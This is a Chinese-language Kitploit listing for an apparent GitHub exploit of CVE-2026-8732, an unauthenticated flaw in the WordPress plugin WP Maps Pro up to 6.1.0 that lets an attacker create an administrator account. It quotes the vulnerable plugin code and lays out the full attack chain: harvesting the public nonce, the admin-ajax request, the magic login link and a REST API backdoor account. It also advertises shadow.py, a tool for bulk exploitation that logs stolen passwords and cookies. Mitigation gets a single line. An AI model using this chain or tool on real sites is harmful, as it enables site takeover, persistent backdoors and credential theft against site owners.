Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-8732 — WP Maps Pro <= 6.1.0 - 未授权权限提升至管理员账户创建 | Kitploit
工具/GitHubGitHub/xshadow-here/cve-2026-8732
权限提升密码攻击漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育红队
GitHubxshadow-here/cve-2026-8732

CVE-2026-8732

WP Maps Pro <= 6.1.0 - 未授权权限提升至管理员账户创建

查看仓库
112个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-8732 — WP Maps Pro ≤ 6.1.0

♡ 未认证权限提升——通过创建管理员账户 ♡
=== shadow ♡ & friska ===


📋 漏洞信息

字段详细信息
CVE IDCVE-2026-8732
CVSS 评分9.8 (严重)
CVSS 向量CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
类型关键功能缺少身份验证
插件WP Maps Pro (wp-google-map-gold)
受影响版本所有 ≤ 6.1.0 的版本
已修复版本6.1.1
发布时间2026年5月28日
研究人员David Brown
PoCShadow & Friska 😈

🔍 描述

WordPress 的 WP Maps Pro 插件存在未认证权限提升漏洞,可创建管理员账户。

AJAX 操作 wpgmp_temp_access_ajax 通过 wp_ajax_nopriv_ 注册,仅靠 fc-call-nonce nonce 检查保护——而该 nonce 通过 wp_localize_script 以 wpgmp_local JavaScript 对象的 nonce 字段公开嵌入到每个前端页面。

这使得 nonce 检查作为访问控制机制完全无效,允许未认证攻击者:

  1. 从任意公开页面提取 nonce
  2. 调用 wpgmp_temp_access_support 处理器并传入 check_temp=false
  3. 触发无条件创建新的 WordPress 管理员账户
  4. 收到一个魔法登录 URL,该 URL 会调用 wp_set_auth_cookie() —— 授予完全管理员权限
  5. 创建持久后门账户

结果: 无需任何前置认证即可完全接管站点。


🧬 根因分析

1. 钩子注册在 is_admin() 块内——但对 AJAX 请求,is_admin() 始终返回真

root@kitploit:~
// wp-google-map-gold.php
if ( is_admin() ) {  // ← is_admin() = TRUE 对所有 admin-ajax.php 请求!
    add_action( 'wp_ajax_wpgmp_temp_access_ajax',        [ $this, 'wpgmp_temp_access_ajax_callback'] );
    add_action( 'wp_ajax_nopriv_wpgmp_temp_access_ajax', [ $this, 'wpgmp_temp_access_ajax_callback'] ); // ← nopriv = 未认证!
}

2. Nonce 暴露到每个前端页面

root@kitploit:~
// classes/wpgmp-helper.php
$wpgmp_local = [
    'urlforajax' => admin_url( 'admin-ajax.php' ),
    'nonce'      => wp_create_nonce( 'fc-call-nonce' ),  // ← 泄露到公共 HTML 中!
    // ...
];
wp_localize_script( 'wpgmp-google-map-main', 'wpgmp_local', $wpgmp_local );

任何访问者都可以从页面源码中读取 nonce。WordPress nonce 是 CSRF 令牌——不是认证令牌。

3. AJAX 回调中缺少权限检查

root@kitploit:~
function wpgmp_temp_access_ajax_callback(){
    check_ajax_referer( 'fc-call-nonce', 'nonce' );  // ← 通过公开的 nonce 绕过
    // 没有 current_user_can() 检查!
    $temp_access = new WPGMP_Temp_Access();
    $response = $temp_access->wpgmp_temp_access_support();
    wp_send_json($response);
}

4. 无条件创建管理员账户

root@kitploit:~
// classes/wpgmp-temp-access.php
if (isset($_POST['check_temp']) && $_POST['check_temp'] == 'false') {
    $username = 'fc_user_' . uniqid();          // 随机用户名
    $email    = '[email protected]';       // 硬编码邮箱
    $role     = 'administrator';                 // 硬编码角色 ← 根本原因

    $result = self::fc_create_new_user($username, $email, $role);

    if (is_numeric($result)) {
        $access_link = self::generate_login_link($result);
        $response['url'] = $access_link;         // ← 魔法 URL 返回给攻击者!
    }
}

5. 通过 init 钩子实现魔法登录——无过期,无一次性限制

root@kitploit:~
// 挂载到 init —— 在每个请求上运行,无需认证
function wpgmp_access_token_check(){
    if ( ! empty( $_GET['wpgmp_token'] ) ) {
        $temp_access->get_valid_user_based_on_wpgmp_token($wpgmp_access_token);
    }
}

// 在 get_valid_user_based_on_wpgmp_token() 内部:
wp_set_current_user( $temporary_user_id, $temporary_user_login );
wp_set_auth_cookie( $temporary_user_id );   // ← 会话设置为管理员
wp_safe_redirect( admin_url() );            // ← 重定向到仪表盘

⚔️ 攻击链

root@kitploit:~
[未认证攻击者]
         │
         ▼
   GET /任意页面/
   ← HTML: wpgmp_local = {"nonce":"XXXXXXXX",...}
         │
         ▼
   POST /wp-admin/admin-ajax.php
   action=wpgmp_temp_access_ajax
   nonce=XXXXXXXX
   check_temp=false
   ← {"url":"https://target.com/wp-admin/?wpgmp_token=<128位十六进制>"}
         │
         ▼
   GET /wp-admin/?wpgmp_token=<128位十六进制>
   ← wp_set_auth_cookie() 被触发
   ← 302 → /wp-admin/
         │
         ▼
   [获得完全管理员权限] 💀
         │
         ▼
   POST /wp-json/wp/v2/users
   X-WP-Nonce: <rest-nonce>
   {"username":"backdoor","password":"...","roles":["administrator"]}
         │
         ▼
   [创建持久后门] 😈

🛠️ 工具

shadow.py —— 完整利用链

支持单个目标或批量利用。

root@kitploit:~
# 交互模式
python3 shadow.py

# 单个目标
python3 shadow.py -u https://target.com

# 批量利用
python3 shadow.py -f targets.txt -t 20

利用阶段:

root@kitploit:~
阶段 1  ▶  插件及功能检测
阶段 2  ▶  Nonce 扫描(并行爬虫)
阶段 3  ▶  通过 AJAX 创建管理员
阶段 4  ▶  魔法登录(wp_set_auth_cookie)
阶段 5  ▶  持久后门(REST API)

输出文件(pwned.txt):

root@kitploit:~
1.
=======================================================
目标    : https://target.com/wp-admin/
用户名  : shadow_xxxxx
密码    : Xk9#mQ2pLrTv8nYw
邮箱    : [email protected]
魔法链接 : https://target.com/wp-admin/?wpgmp_token=...
=======================================================

Cookie :

=======================================================
wordpress_logged_in_...=fc_user_...
=======================================================

🔒 缓解措施

将 WP Maps Pro 更新至 6.1.1 或更高版本。


[shadow ♡ friska] —— 仅供教育和授权安全研究使用

下载工具